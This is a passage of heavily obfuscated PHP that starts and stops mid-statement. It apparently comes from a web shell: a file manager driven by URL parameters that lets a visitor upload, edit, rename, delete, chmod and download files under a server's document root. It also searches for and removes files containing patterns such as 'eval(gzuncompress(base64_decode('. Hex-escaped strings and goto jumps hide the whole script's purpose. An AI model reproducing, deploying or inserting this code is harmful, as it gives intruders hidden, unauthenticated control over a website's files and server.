bW5Um($WRsqg); goto tyxU_; HIUu8: XsCHf: goto lSv0U; tyxU_: goto LG5uz; goto Mj7RO; vnUYp: header("\103\141\143\150\145\x2d\103\157\x6e\164\162\x6f\x6c\72\x20\155\165\x73\164\55\162\145\x76\x61\154\151\x64\x61\164\x65"); goto re1HG; alUgM: if (is_dir($_GET["\144\x65\x6c"])) { goto d1BzN; } goto GVpxQ; yreVi: header("\x43\157\x6e\x74\x65\x6e\164\x2d\x44\151\163\160\x6f\163\151\164\151\x6f\156\72\x20\141\x74\x74\x61\x63\x68\155\x65\156\164\73\x20\146\x69\x6c\x65\x6e\141\155\x65\75" . basename($uMTgE)); goto Os2LY; Oor_g: $C9cVN = QFocs($_SERVER["\x53\103\122\x49\x50\x54\x5f\x46\111\x4c\105\x4e\x41\x4d\105"], ''); goto hcYHc; TcIIi: fclose($ukr3B); goto XhYgG; N2El5: echo "\11\x9\11\x3c\x62\x72\x3e\x3c\142\x72\76\15\12\x9\x9\x9\104\151\162\145\143\164\157\x72\171\72\40\15\12\x9\x9\x9"; goto E3235; zJ6_k: kooQQ: goto p16k4; anCzF: $gzgI8 = array(); goto uWBqf; WYnF3: $WRsqg = "\x68\164\164\x70\x3a\57\x2f" . $tiXjA . $rH_un . "\77\144\151\x72\x3d" . $YH3Np; goto Y8Jw0; HE4W5: $eGMU5 = MOl03($_SERVER["\x44\117\x43\125\x4d\x45\116\124\137\x52\117\x4f\124"]); goto gKZbw; IEHlK: if (isset($_GET["\x64\x69\x72"])) { goto wyPiR; } goto kOu77; pNmVe: Mevt4: goto DzHrz; MyG8B: echo "\11\15\12\11\74\164\x72\40\141\154\151\x67\x6e\x3d\42\x63\x65\156\164\145\162\x22\40\x73\164\x79\154\x65\75\x22\x63\157\x6c\157\x72\x3a\40\43\x34\62\63\x63\66\63\x3b\x22\x3e\x3c\164\x64\40\141\154\151\x67\156\x3d\x22\154\x65\146\164\x22\x3e\x3c\142\x3e\x4e\141\155\x65\74\57\x62\76\x3c\x2f\164\144\x3e\74\164\x64\x3e\x3c\142\x3e\123\x69\172\x65\74\x2f\x62\x3e\74\57\x74\144\x3e\74\x74\x64\76\74\142\76\115\x6f\x64\151\146\171\74\x2f\x62\x3e\74\57\164\x64\x3e\74\164\x64\x3e\x3c\x62\76\x50\145\x72\155\x69\x73\163\x69\x6f\x6e\163\74\57\142\x3e\74\57\x74\x64\76\74\x74\144\x3e\x3c\x62\76\x41\x63\x74\151\x6f\x6e\163\74\x2f\x62\76\74\57\164\144\76\74\x2f\164\162\x3e\xd\xa\15\xa\11"; goto Nq5mG; eiRoP: R_XnT: goto YyWVE; QBIeJ: v72Sw: goto nqF4o; jw9Iq: $iKJsi = str_replace($_SERVER["\x44\117\x43\125\x4d\x45\x4e\124\x5f\x52\x4f\117\x54"], $_SERVER["\123\x45\x52\126\x45\x52\137\x4e\x41\x4d\105"], $QC0Uk); goto FSPcb; Kq0II: goto DtKRY; goto YQI0w; gObyZ: K42_a($_SERVER["\x53\103\122\x49\120\x54\137\x46\x49\114\105\116\x41\x4d\x45"]); goto dyAnS; lt9Ny: dbkoo: goto Ne1jw; jlNa3: echo iXvY1(); goto yQJJH; NYMy2: $krXcm = str_replace($_SERVER["\104\117\103\x55\x4d\105\x4e\124\137\x52\117\x4f\x54"], $_SERVER["\x53\x45\122\x56\105\122\137\x4e\x41\115\x45"], $_SERVER["\123\103\x52\x49\x50\x54\x5f\x46\111\114\105\x4e\101\x4d\105"]); goto DAnsC; DtoT2: QCNQ5: goto xWFjM; WB0fI: echo "\x3c\x61\x20\x68\x72\x65\146\x3d\x22\150\164\x74\160\72\x2f\57" . $tiXjA . $rH_un . "\x3f\x64\x69\162\x3d" . $YH3Np . "\42\76" . $Y4VLf["{$fGyii}"] . "\74\x2f\x61\76"; goto f39CZ; mKpZP: s418G: goto N0krE; ZUqzD: $Gh2vx = "\x63\141\x63\150\145\x3d\60\x30"; goto EEKW8; whz7n: goto PftJd; goto Lu7bV; ig0gs: $UG4IL = "\142\141\163\x65\x36\x34\137\144\x65\143\157\144\x65\50\x24\137\x50\x4f\123\124"; goto AkqFE; QYGjg: $YKCxh = sBdA9($_SERVER["\104\x4f\103\x55\115\105\116\x54\137\x52\x4f\117\x54"]); goto p_x71; p6eeJ: echo $_SERVER["\123\105\122\126\x45\x52\137\101\104\104\122"]; goto VItN2; hcYHc: if (!($C9cVN !== "\x34\x34\x34")) { goto d0a8M; } goto c9Vnp; a6BWd: function bw5um($WRsqg) { goto AquHm; AquHm: echo "\74\164\x64\40\141\x6c\x69\147\156\x3d\42\x72\151\x67\x68\x74\42\x20\143\157\x6c\x73\x70\x61\x6e\x3d\x22\x32\42\x3e"; goto QX7O0; dlOgj: echo "\x3c\x66\157\x72\155\x20\141\143\x74\151\x6f\x6e\x20\75\x20\47" . $WRsqg . "\x27\40\x6d\x65\x74\x68\157\144\40\75\40\x27\120\x4f\x53\x54\47\x3e"; goto EqTBM; BmM1L: echo "\74\151\x6e\160\165\164\x20\x6e\x61\155\x65\75\42\163\145\141\162\x63\150\137\146\151\x6c\x65\42\x20\163\x69\172\145\75\x22\67\42\x20\164\171\x70\145\x3d\x22\x74\x65\x78\164\42\40\160\154\x61\143\x65\150\157\154\x64\145\x72\x3d\x22\56\163\165\163\160\145\x63\164\x65\144\42\x20\x2f\x3e"; goto AmOFt; QX7O0: echo "\x3c\146\157\162\155\x20\x61\x63\x74\x69\x6f\156\40\x3d\x20\x27" . $WRsqg . "\47\40\x6d\145\164\x68\157\x64\x20\x3d\40\x27\x50\117\x53\x54\47\x3e"; goto BmM1L; AmOFt: echo "\74\x69\x6e\160\165\x74\40\164\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\x20\x76\x61\x6c\165\145\x3d\x22\x6f\153\x22\x20\57\x3e\x3c\57\x66\157\x72\155\76"; goto pIgwb; fBGvx: echo "\x3c\151\156\x70\x75\164\40\x6e\141\x6d\x65\75\x22\x6e\x65\x77\137\146\151\154\x65\42\40\x73\x69\x7a\145\75\x22\x37\x22\x20\x74\x79\160\x65\x3d\42\x74\x65\170\164\x22\x20\x70\x6c\x61\x63\145\x68\157\154\144\x65\162\75\42\155\x61\x6b\145\40\146\x69\x6c\145\x22\40\57\76"; goto Imr3b; Imr3b: echo "\x3c\x69\x6e\160\165\x74\x20\164\x79\x70\145\75\x22\163\165\142\155\151\164\x22\x20\x76\x61\x6c\165\145\75\42\x6f\x6b\x22\x20\x2f\x3e\x3c\x2f\146\x6f\x72\155\76"; goto dlOgj; ELp1c: echo "\x3c\57\164\x64\76\74\x2f\164\x72\x3e"; goto w3ghS; pIgwb: echo "\x3c\x66\157\162\155\40\x61\x63\164\151\157\156\x20\75\x20\x27" . $WRsqg . "\47\x20\x6d\145\164\x68\157\144\x20\75\40\x27\x50\117\123\124\47\76"; goto fBGvx; EqTBM: echo "\74\x69\x6e\x70\165\x74\40\x6e\141\x6d\x65\75\x22\156\145\167\137\144\x69\x72\x22\40\x73\151\x7a\x65\75\42\x37\x22\40\164\171\160\145\x3d\x22\164\145\x78\x74\42\x20\160\x6c\x61\x63\x65\150\x6f\x6c\144\145\x72\75\x22\155\x61\x6b\x65\40\144\151\x72\42\x20\x2f\76"; goto d0wSv; d0wSv: echo "\74\x69\156\160\165\164\x20\164\171\160\145\75\x22\x73\x75\x62\x6d\151\164\42\x20\x76\141\x6c\165\145\x3d\x22\157\153\x22\x20\x2f\x3e\74\x2f\146\x6f\x72\155\x3e"; goto ELp1c; w3ghS: } goto aG0QO; COt53: mIiwr: goto rpWrK; QBzEt: $IPQ4C = $_SERVER["\x44\117\x43\125\115\105\116\124\x5f\122\x4f\117\x54"] . "\x2f" . $_POST["\x6e\145\167\x5f\x66\x69\154\145\x5f\156\x61\155\145"]; goto SXqoj; YyWVE: echo "\x3c\x3c\57\x69\x6e\146\x6f\x3e\76"; goto LlN2X; mhAr8: if (!file_exists($LVHM1)) { goto KPoDD; } goto PeNym; YQI0w: SF9l9: goto iS9Qv; AkqFE: $O_nX1 = "\x6d\165\x6c\x74\x69\160\141\x72\164\57\x66\157\x72\155\x2d\x64\141\164\x61"; goto mhAr8; GxcqR: foreach ($AwS1q as $aRFcW) { goto uRzJS; vbJoK: echo $xF5EP . "\x20\55\x20\156\x6f\x74\40\162\145\x6d\x6f\x76\x65\x64" . "\12"; goto TLb9j; HQ4fI: if (!file_exists($aRFcW)) { goto KMGyn; } goto vbJoK; KdyGk: echo $xF5EP . "\x20\x2d\x20\x6e\x6f\164\x20\x66\x6f\165\156\x64" . "\xa"; goto OtrWE; S6bpf: QXJU5: goto zhbL9; uRzJS: $aRFcW = strstr($aRFcW, "\57"); goto YF9TX; YF9TX: $aRFcW = $_SERVER["\104\x4f\x43\125\x4d\105\116\124\137\x52\117\117\124"] . "\57" . $aRFcW; goto I1AIA; TLb9j: goto fCrcW; goto D5BuW; JNAnO: POUnC: goto AVdBK; OtrWE: goto x854H; goto S6bpf; I1AIA: $xF5EP = str_replace($_SERVER["\104\117\x43\x55\115\x45\116\x54\x5f\122\x4f\117\x54"], $_SERVER["\123\x45\122\x56\105\x52\x5f\x4e\101\115\x45"], $aRFcW); goto FQjuA; hmb1g: echo $xF5EP . "\x20\55\x20\x72\145\x6d\x6f\x76\145\144" . "\12"; goto RTR3U; JsvhI: x854H: goto JNAnO; zhbL9: K42_A($aRFcW); goto HQ4fI; FQjuA: if (file_exists($aRFcW)) { goto QXJU5; } goto KdyGk; RTR3U: fCrcW: goto JsvhI; D5BuW: KMGyn: goto hmb1g; AVdBK: } goto eiRoP; vZiHl: goto v72Sw; goto DBso8; Os2LY: header("\103\157\156\x74\x65\156\164\55\124\162\141\x6e\163\146\x65\162\x2d\105\156\143\157\x64\151\156\x67\72\x20\142\151\156\x61\162\171"); goto hK2iH; azmBn: sMfdf: goto pWX8X; lpqUu: Jo9v7: goto Khfj4; XrWmz: goto t4szg; goto Qqaej; HVySL: goto A6Feg; goto OsDqU; E6kP1: t4szg: goto Xx52W; dSQ0H: goto DtKRY; goto KSayd; fFR2Q: foreach ($eGMU5 as $aRFcW) { goto BRdYg; nkNC4: if (is_dir($x8ZI0)) { goto h0gPC; } goto bLoUu; bLoUu: $X2rlt[] = $aRFcW; goto BgAEe; BRdYg: $x8ZI0 = $aRFcW; goto XYBlR; AF31z: $PsOqw[] = $aRFcW; goto Pk5pP; AmB76: GcK34: goto EA0D9; wxBxg: $x8ZI0 = $_SERVER["\x44\x4f\x43\125\115\x45\x4e\124\x5f\122\x4f\117\x54"] . "\57" . $aRFcW; goto s32lj; s32lj: goto YHFvs; goto TrZCw; TMEIo: h0gPC: goto AF31z; oWY29: $x8ZI0 = $_GET["\x64\x69\x72"] . "\57" . $aRFcW; goto GARwc; TrZCw: rQn6J: goto oWY29; BgAEe: goto qi1Yw; goto TMEIo; GARwc: YHFvs: goto nkNC4; Pk5pP: qi1Yw: goto AmB76; XYBlR: if (isset($_GET["\144\x69\x72"])) { goto rQn6J; } goto wxBxg; EA0D9: } goto dVb3a; YCQAs: $WRsqg = "\150\x74\x74\x70\x3a\x2f\57" . $tiXjA . $rH_un . "\77\x64\x69\162\x3d" . $_GET["\144\x69\x72"] . "\46\x65\144\x69\x74\x3d" . $YH3Np; goto MNGK8; pWX8X: goto nKuLU; goto XnOwQ; WQipj: h7mDA: goto A4mDU; xR3oa: echo $krXcm; goto wBJwF; zZMIn: b_W5p: goto QBzEt; DzHrz: echo "\x3c\150\x72\x3e\x3c\x68\162\x3e\74\57\x74\144\76"; goto rsKFA; DgNIn: echo "\74\57\164\x69\x74\154\145\76\xd\12\11\74\x73\x74\x79\154\x65\40\164\x79\x70\145\x3d\x22\164\145\x78\x74\57\143\163\163\42\x3e\xd\12\x9\111\x4e\120\125\124\133\164\x79\x70\x65\75\x22\x74\x65\170\x74\42\135\40\173\x62\x61\143\153\x67\162\x6f\165\x6e\x64\x2d\x63\x6f\x6c\157\162\72\40\x23\146\146\146\x38\145\x37\73\x7d\11\x62\157\144\x79\173\142\141\143\x6b\147\162\157\x75\156\x64\72\x20\43\x66\146\x66\x38\145\67\73\x63\157\x6c\x6f\162\x3a\x20\x23\x34\143\65\x38\66\66\73\146\x6f\x6e\x74\55\146\x61\155\151\154\171\72\x20\x56\x65\x72\144\141\156\141\x3b\146\x6f\156\164\x2d\x73\151\x7a\145\72\x20\x31\x31\x70\x78\x3b\x7d\15\12\x9\x61\72\x6c\151\156\x6b\173\x63\x6f\x6c\157\162\72\40\43\63\x33\x43\103\71\x39\73\x7d\x9\x61\72\x76\151\163\x69\x74\x65\x64\x7b\x63\157\x6c\x6f\162\x3a\40\43\63\x33\x43\103\71\x39\73\x7d\x9\141\x3a\x68\x6f\166\x65\x72\173\164\145\x78\x74\55\144\x65\143\x6f\162\141\x74\151\157\156\72\40\156\157\x6e\x65\73\x43\x6f\x6c\157\162\x3a\40\x23\63\63\71\71\x46\x46\73\175\164\x61\x62\154\145\x20\173\146\x6f\x6e\164\x2d\x73\151\x7a\145\72\40\61\61\160\x78\x3b\x7d\15\12\x9\x74\x64\x20\x7b\160\x61\144\x64\x69\x6e\x67\72\40\x31\x70\170\73\x70\x61\144\144\151\x6e\x67\x2d\x6c\x65\146\x74\72\40\61\60\x70\170\73\160\x61\x64\144\151\x6e\147\55\x72\x69\x67\x68\164\72\x20\x31\x30\x70\x78\x3b\160\141\144\144\151\x6e\147\x2d\164\157\x70\72\40\x32\x70\170\x3b\x7d\xd\xa\11\74\x2f\163\164\x79\154\x65\76\15\12\74\x2f\150\x65\x61\x64\76\xd\12\x3c\142\157\144\171\x3e\xd\12\x3c\x74\141\x62\154\x65\40\x63\145\x6c\154\160\x61\144\144\151\x6e\147\x3d\42\x35\x22\40\167\x69\x64\164\150\75\42\x38\60\x25\42\76\15\xa"; goto Oor_g; LqCSu: $YH3Np = $_GET["\144\x69\162"] . "\57" . $_POST["\156\145\167\137\x64\151\x72"]; goto Ajdfw; XhYgG: goto DtKRY; goto wh1kc; Nq5mG: if (isset($_GET["\144\151\162"])) { goto oxtei; } goto NCLrs; nBHUC: echo "\74\141\40\x68\x72\145\146\75\x22" . "\x68\x74\x74\x70\72\x2f\x2f" . $tiXjA . $rH_un . "\77\144\x69\162\75" . $_SERVER["\104\x4f\x43\125\x4d\x45\116\x54\x5f\122\x4f\x4f\124"] . "\42\x3e" . $_SERVER["\104\117\x43\125\115\x45\116\124\137\122\117\117\124"] . "\x3c\x2f\141\76"; goto N2El5; N0krE: if (!file_exists($LVHM1)) { goto XsCHf; } goto VFSRw; gKZbw: echo "\74\164\144\x3e\x3c\150\x72\x3e\x3c\150\162\76"; goto cuNWB; dFemT: if (sizeof($_FILES) != 0) { goto CHbCB; } goto AMpir; dk9dU: if (!($fGyii < 900)) { goto mBLAe; } goto XMvqS; JXY_o: goto eCw_M; goto ShDft; pe57W: $krXcm = str_replace($_SERVER["\x44\117\x43\x55\115\105\x4e\124\x5f\x52\x4f\x4f\124"], $_SERVER["\123\105\x52\x56\x45\x52\137\116\101\115\x45"], $_SERVER["\x53\103\x52\111\x50\x54\137\106\x49\114\x45\x4e\101\x4d\x45"]); goto XmEdp; lYLKg: if (!empty($_POST["\156\x65\167\137\146\151\x6c\145"])) { goto JcQiu; } goto vhxAZ; JkPJq: if (isset($_GET["\x64\151\x72"])) { goto PK8IZ; } goto RN4OF; Zq88C: function K42_a($yP63Y) { goto JLfzQ; MVJW3: goto nkLG4; goto xfklv; Pkys5: ZbOrd: goto Ypnv6; kuIQ1: FfZ3Z: goto kRtp1; hHdm8: if (!chmod($yP63Y, 0755)) { goto gOCba; } goto kCQpZ; su4GO: return "\157\153\41"; goto MVJW3; T2req: nkLG4: goto w9WVY; kCQpZ: if (!unlink($yP63Y)) { goto lB_ni; } goto su4GO; Ypnv6: return "\146\x69\154\145\x20\x6e\157\x74\40\145\170\x69\163\x74\x73"; goto OLXsl; s1YAw: return "\x63\x61\156\x20\156\x6f\x74\40\x64\x65\x6c\x65\164\x65\x21"; goto T2req; OLXsl: ehTGb: goto Y30HZ; gIg7R: gOCba: goto xqiRM; hH3lL: return "\x6f\x6b\x21"; goto vZkVc; w9WVY: goto FfZ3Z; goto gIg7R; n79lX: if (!unlink($yP63Y)) { goto XwetN; } goto hH3lL; WKdyP: goto ehTGb; goto Pkys5; vZkVc: goto vD2Mo; goto g9GaT; xfklv: lB_ni: goto s1YAw; g9GaT: XwetN: goto hHdm8; JLfzQ: if (!file_exists($yP63Y)) { goto ZbOrd; } goto n79lX; xqiRM: return "\156\x6f\x20\150\x61\166\x65\x20\x70\145\162\x6d\151\163\x73\151\157\x6e\40\x66\157\x72\x20\x63\150\x6d\157\144\41"; goto kuIQ1; kRtp1: vD2Mo: goto WKdyP; Y30HZ: } goto s_MT1; VItN2: echo "\x3c\x62\x72\x3e\15\12\x9\x9\11\x52\x6f\157\x74\x3a\x20"; goto nBHUC; p11Xc: $lTJFo = 0; goto IxZR9; UWCFz: $WRsqg = "\x68\164\x74\160\x3a\57\x2f" . $tiXjA . $rH_un . "\x3f\x64\x69\162\x3d" . $_GET["\144\x69\x72"] . "\x26\145\x64\x69\x74\x3d" . $IPQ4C; goto QBIeJ; S9BlA: D1NpE: goto URiPm; uBanp: ahrJI: goto dk9dU; pX0II: qfsZl: goto quVmR; Xx52W: $QC0Uk = $YH3Np . "\x2f" . $_FILES["\x69\156\160\x75\164\146\151\x6c\145"]["\x6e\x61\x6d\145"]; goto eqtSO; i76K3: header("\x43\157\156\164\x65\156\x74\x2d\x4c\x65\156\x67\164\x68\72\40" . filesize($uMTgE)); goto gjdvd; vhxAZ: if (!empty($_POST["\x6e\x65\x77\137\x64\151\x72"])) { goto RXdg4; } goto K1SsF; sEv2r: goto w4ck9; goto zZMIn; eqtSO: move_uploaded_file($_FILES["\151\x6e\160\x75\x74\146\x69\154\145"]["\x74\155\160\x5f\x6e\x61\x6d\x65"], $QC0Uk); goto jw9Iq; DAnsC: $krXcm = "\x68\x74\x74\160\72\57\57" . $krXcm . "\x3f\146\x69\156\x64\145\x72"; goto iGqS5; cC4V5: $YH3Np = $_SERVER["\x44\117\x43\125\115\105\x4e\124\137\122\117\117\x54"]; goto XrWmz; ypETz: foreach ($tfU2K as $aRFcW) { goto vX1PV; niE8s: $pz23y = str_replace($_SERVER["\104\117\x43\x55\x4d\105\116\x54\137\122\117\117\124"], $_SERVER["\123\105\122\126\x45\122\x5f\116\101\x4d\105"], $aRFcW); goto PMZGA; fYaqx: $ng2Fq = F6hoi($aRFcW); goto niE8s; xtVga: L1F91: goto fYaqx; ogtKK: $WdlM7 = $_GET["\x64\151\162"]; goto xtVga; vX1PV: if (!($aRFcW !== null and $aRFcW !== '' and $aRFcW !== "\40")) { goto zFTQs; } goto gEKBa; ox874: $WdlM7 = $_SERVER["\104\117\x43\125\115\105\x4e\x54\x5f\x52\x4f\117\x54"]; goto MvvWt; e3rJh: V4R1R: goto yAwob; MvvWt: goto L1F91; goto JRoAY; JRoAY: jrpG1: goto ogtKK; gEKBa: if (isset($_GET["\x64\151\x72"])) { goto jrpG1; } goto ox874; PMZGA: echo "\x3c\x74\x72\40\x62\x67\x63\x6f\x6c\157\162\x3d\42\43\x66\146\x66\x66\x66\146\42\40\141\x6c\x69\147\156\x3d\42\143\x65\x6e\164\145\x72\x22\x3e\74\x74\144\x20\x61\154\x69\x67\156\x3d\42\154\x65\x66\x74\42\x20\76" . "\74\141\40\163\164\x79\x6c\x65\75\x22\164\145\170\x74\x2d\x64\x65\x63\x6f\x72\141\x74\x69\x6f\x6e\72\40\x6e\x6f\x6e\145\73\42\40\150\162\145\x66\75\x22\x68\164\164\x70\72\x2f\57{$tiXjA}{$rH_un}\77\145\x64\151\x74\x3d{$aRFcW}\46\144\x69\x72\75{$WdlM7}\x22\76\74\x66\x6f\156\164\x20\x63\x6f\154\157\162\75\x22\142\x6c\141\143\x6b\x22\x3e{$aRFcW}\x3c\57\146\x6f\x6e\164\x3e\74\57\141\76" . "\x3c\x2f\x74\144\76\74\164\144\76" . dJ8ZX($aRFcW) . "\x3c\57\x74\x64\76\x3c\164\144\x3e{$ng2Fq}\74\57\164\144\76\74\164\144\76" . QFocs($aRFcW, "\x30") . "\x3c\x2f\164\x64\x3e\x3c\164\144\76" . "\74\141\x20\150\x72\x65\146\x3d\42\150\164\x74\x70\72\57\x2f{$tiXjA}{$rH_un}\77\144\x65\x6c\75{$aRFcW}\46\144\x69\162\75{$WdlM7}\42\x3e\x55\74\x2f\141\x3e\x26\x6e\142\x73\x70\x3b" . "\x3c\x61\40\x68\162\x65\146\x3d\42\x68\164\164\x70\x3a\57\x2f{$tiXjA}{$rH_un}\x3f\x65\144\x69\x74\75{$aRFcW}\x26\144\151\x72\75{$WdlM7}\x22\x3e\x45\x3c\x2f\141\76\x26\156\x62\x73\x70\73" . "\74\x61\40\x74\x61\162\147\145\164\75\x22\x5f\x62\x6c\x61\156\x6b\x22\x20\150\162\145\x66\x3d\x22\150\x74\x74\160\72\57\x2f{$pz23y}\x22\x3e\x4f\74\57\x61\76\x26\156\x62\163\x70\73" . "\x3c\141\x20\150\x72\145\x66\x3d\42\150\x74\x74\160\72\57\x2f{$tiXjA}{$rH_un}\x3f\x64\157\167\x6e\154\157\x61\144\x3d{$aRFcW}\46\x64\151\x72\75{$WdlM7}\42\x3e\104\74\57\141\76" . "\74\57\164\x64\76\x3c\x2f\164\162\76"; goto dFarI; dFarI: zFTQs: goto e3rJh; yAwob: } goto mKpZP; CTwzq: if (!isset($_GET["\146\151\156\x64\x65\x72"])) { goto qfsZl; } goto AjkN9; nZFnd: $X2rlt = array(); goto fj4qF; eWhCY: $Uhl9b = "\145\x76\141\x6c\x28\x67\x7a\x75\156\143\157\x6d\x70\x72\x65\x73\x73\50\142\x61\x73\145\x36\x34\137\x64\x65\x63\x6f\x64\145\50"; goto j9Vvp; YqLrR: if (count($xHyVF) > 0) { goto CIhmj; } goto xmtPu; xWFjM: $WdlM7 = $_GET["\x64\151\162"]; goto n1flM; ljw5y: uBEZG: goto CTwzq; VMQbE: header("\103\x6f\156\x74\x65\156\164\x2d\104\145\x73\143\x72\x69\x70\x74\x69\157\x6e\x3a\x20\106\151\154\145\40\x54\162\x61\x6e\163\x66\x65\x72"); goto ajcz4; Pa12b: if (isset($_GET["\144\151\x72"])) { goto bY9Gv; } goto V9lRk; al_Ge: MYtjj: goto Id838; ABBaj: s0yqd: goto mUTTU; KOwQJ: $SPEIU = count($Y4VLf) - 1; goto KW5Mh; wvEmM: $INQmn = sbDa9($_SERVER["\x44\117\x43\x55\x4d\x45\x4e\124\137\122\x4f\x4f\x54"]); goto xDoQo; hWJWm: goto fVRtg; goto EumIN; fj4qF: echo "\11\x3c\164\162\40\141\154\x69\147\156\x3d\x22\154\x65\x66\164\42\76\xd\12\x9\x9\74\x74\144\x20\x63\x6f\154\x73\160\x61\156\x3d\42\x33\x22\76\15\12\11\11"; goto dFemT; W3N1P: function QFoCS($kbA9x, $ScU6X) { goto x3tFD; Lc8Vz: if ($ScU6X == 1) { goto KvJOX; } goto gZx0D; bzBng: goto avo9F; goto MFeYn; rxw1g: goto yzzJU; goto B46pd; xe8ul: goto avo9F; goto XTp_g; vBrAy: $TN_hj = "\x67\x72\145\x65\x6e"; goto kBPEX; x3tFD: $t6dtq = substr(decoct(fileperms($kbA9x)), -3); goto gxRHk; s0ARj: goto avo9F; goto zQTx2; ZvBgE: return $t6dtq; goto tizoj; AyeyB: goto avo9F; goto WAwH7; tc6vQ: avo9F: goto Lc8Vz; LMTyD: $TN_hj = "\43\x32\x45\x43\x38\x34\62"; goto xe8ul; EozXd: ysovQ: goto LMTyD; h0nbb: $TN_hj = "\157\162\141\x6e\147\x65"; goto bzBng; MFeYn: YzzQB: goto AhumL; WAwH7: oWoYP: goto vBrAy; ZjdOV: $TN_hj = "\147\162\x65\x79"; goto AyeyB; gxRHk: if ($t6dtq == "\66\64\x34") { goto oWoYP; } goto XO0tR; Ejvrk: if ($t6dtq == "\x36\66\x34") { goto YzzQB; } goto ZjdOV; nW6aX: if ($t6dtq == "\x37\64\x34") { goto AR2ZM; } goto Ejvrk; f8oAE: if ($t6dtq == "\60\x30\60") { goto h2cF9; } goto nW6aX; jfQmC: $TN_hj = "\162\145\x64"; goto s0ARj; B46pd: KvJOX: goto ZvBgE; gZx0D: return "\74\x66\157\156\x74\x20\x63\x6f\154\157\x72\x3d{$TN_hj}\76" . $t6dtq . "\x3c\57\146\157\x6e\164\76"; goto rxw1g; kBPEX: goto avo9F; goto EozXd; XO0tR: if ($t6dtq == "\x37\65\x35") { goto ysovQ; } goto wrdWP; TJwsG: $TN_hj = "\142\162\157\167\156"; goto qK2cL; qK2cL: goto avo9F; goto ZLiAg; wrdWP: if ($t6dtq == "\64\x34\64") { goto scPsM; } goto f8oAE; XTp_g: scPsM: goto TJwsG; ZLiAg: h2cF9: goto jfQmC; AhumL: $TN_hj = "\x67\162\145\x65\x6e"; goto tc6vQ; tizoj: yzzJU: goto tlBU0; zQTx2: AR2ZM: goto h0nbb; tlBU0: } goto VLOb9; hxm19: $E26bx = "\74\146\157\x6e\x74\x20\x63\157\154\x6f\x72\x3d\42\x72\x65\144\42\76\74\142\x3e\116\141\x6d\x65\x20\x63\x61\x6e\40\x6e\x6f\x74\40\x62\x65\40\143\150\x61\156\147\x65\x64\x3c\57\x62\x3e\x3c\57\146\157\156\164\76"; goto ZW48V; iS9Qv: $iecrC = $_POST["\x73\145\141\x72\x63\x68\137\x66\151\154\x65"]; goto QYGjg; lMW_6: echo "\x9\11\x9\xd\12\11\11\11\xd\12\11\11\74\x2f\164\x64\x3e\15\12\11"; goto IEHlK; rsKFA: exit; goto dIa75; gp6Fa: HN7LL($_GET["\x64\145\154"]); goto COt53; K1SsF: if (!empty($_POST["\x73\x65\141\162\143\x68\137\x66\151\154\x65"])) { goto SF9l9; } goto dSQ0H; QS_a0: PK8IZ: goto LqCSu; BiqSV: $Y4VLf = explode("\57", $YH3Np); goto KOwQJ; wBJwF: echo "\x27\x22\x2c\x20\144\145\154\141\x79\51\x3b\15\xa\x9\x9\x9\x3c\57\x73\143\162\151\160\x74\x3e\xd\xa\x9\x9\x9"; goto azmBn; ShDft: On1YF: goto k1FGr; fZ86l: if (rename($_GET["\x72\145\156\x61\x6d\x65"], $_POST["\x6e\137\156\x61\155\x65"])) { goto eVo64; } goto hxm19; Z5dSH: if (!isset($_GET["\x64\145\x6c"])) { goto heiwi; } goto alUgM; vLt1i: goto lrDxO; goto DtoT2; V9lRk: $bcoBe = $_SERVER["\x53\x43\x52\111\120\124\137\116\x41\x4d\105"] . "\77\144\151\x72\x3d" . $_SERVER["\x44\x4f\x43\125\115\105\116\x54\137\122\117\117\x54"]; goto HVySL; fB5ei: $qO7GR[] = trim($xHyVF[$lTJFo]); goto ZdxG5; xmtPu: echo "\x3c\x74\162\x3e\74\164\144\x3e\106\151\156\x69\x73\150\41\74\x2f\x74\x64\76\74\57\164\x72\76"; goto hWJWm; vOJVg: wUtRW: goto SDyAQ; U_S5n: $xCcCg[] = $pCROI; goto S_PCO; q9L4Q: function Sbda9($RsTeg) { goto kAn0c; icxLi: if (!($yP63Y != "\56" && $yP63Y != "\56\56")) { goto Q7VQ0; } goto mShzC; UgC9i: $yH0X2[] = $R4tID; goto vzBIT; mShzC: $R4tID = $RsTeg . "\x2f" . $yP63Y; goto R71Y1; kEWQu: chmod($RsTeg, 0755); goto TUczW; Inyn2: $vguCE = array(); goto OymQR; vzBIT: sBiSE: goto GqzrJ; OymQR: if ($hCGjI = opendir($RsTeg)) { goto KNIur; } goto kEWQu; P48z7: cqWcM: goto ZaYcv; L8M6P: if (!(($yP63Y = readdir($hCGjI)) !== false)) { goto jowkZ; } goto icxLi; W8VXH: $aBE0N = stristr($R4tID, $_SERVER["\x53\103\122\x49\120\x54\x5f\x46\111\x4c\x45\116\101\x4d\105"]); goto Wu6zj; MxItn: goto JGI8Q; goto lVXip; ZaYcv: Q7VQ0: goto MxItn; BhoTV: Sbda9($R4tID); goto P48z7; FUhfA: hin9d: goto BhoTV; kAn0c: global $yH0X2; goto Inyn2; EGU8n: return $yH0X2; goto AvbiS; R71Y1: if (is_dir($R4tID)) { goto hin9d; } goto W8VXH; lVXip: jowkZ: goto vMzaM; GqzrJ: goto cqWcM; goto FUhfA; Wu6zj: if (!($aBE0N == false)) { goto sBiSE; } goto UgC9i; TUczW: KNIur: goto Bkt3Y; Bkt3Y: $hCGjI = opendir($RsTeg); goto dylZT; vMzaM: closedir($hCGjI); goto EGU8n; dylZT: JGI8Q: goto L8M6P; AvbiS: } goto BTQuz; K4T9u: foreach ($xHyVF as $YXVTp) { goto yZgsR; yZgsR: if (!($YXVTp !== null and $YXVTp !== '' and $YXVTp !== "\x20")) { goto I2rFu; } goto nZYhx; OTQJi: I2rFu: goto Dwm2s; Dwm2s: YUn0X: goto Ui1Ah; nZYhx: fwrite($nesCN, $YXVTp . "\xa"); goto OTQJi; Ui1Ah: } goto WQipj; r_dx8: m1E4j: goto WYnF3; yQJJH: echo "\x3c\x62\162\x3e\xd\12\11\x9\11\x53\145\x72\166\x65\x72\40\x49\x50\x3a\40"; goto p6eeJ; t3XzZ: goto QpuYE; goto ZfHNv; FSSj_: $KIdf7 = "\x40\162\145\161\165\x69\162\145"; goto eWhCY; FSPcb: echo "\x3c\146\157\x6e\x74\40\x63\x6f\x6c\x6f\162\75\42\x67\x72\x65\x65\x6e\x22\x3e\74\x62\x3e" . 